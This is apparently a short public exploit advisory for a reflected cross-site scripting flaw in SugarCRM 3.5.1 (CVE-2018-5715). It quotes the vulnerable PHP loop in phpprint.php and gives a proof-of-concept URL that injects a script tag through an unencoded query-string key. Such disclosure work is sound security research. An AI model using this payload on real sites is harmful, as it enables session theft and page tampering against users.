SugarCRM 3.5.1 - Cross-Site Scripting

# Exploit Title: sugarCRM 3.5.1 XSS refeclted
# Date: 16/01/2017
# Exploit Author: Guilherme Assmann
# Vendor Homepage: https://www.sugarcrm.com/
# Version: 3.5.1
# Tested on: kali linux, windows 7, 8.1, 10, ubuntu - Firefox
# Download https://sourceforge.net/projects/sugarcrm/files/SugarCRM%20Release%20Archive/Sugar%20Suite%203.5.1/
# CVE: CVE-2018-5715
More informations: https://m4k4br0.github.io/sugarcrm-xss/

The vulnerability are in the key parameter of phpprint.php

32 foreach ($_GET as $key => $val) {
33   if ($key != "print") {
34     if (is_array($val)) {
35       foreach ($val as $k => $v) {
36         $query_string .= "{$key}[{$k}]=" . urlencode($v) . "&";
37       }
38     }
39     else {
40       $query_string .= "{$key}=" . urlencode($val) . "&";
41     }
42   }
43 }

the $key variable are not encoded, this permit that XSS more easy
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Poc:
http://vulnerable/index.php?action=Login&module=Users&print=a&"/><script>alert('xss')</script>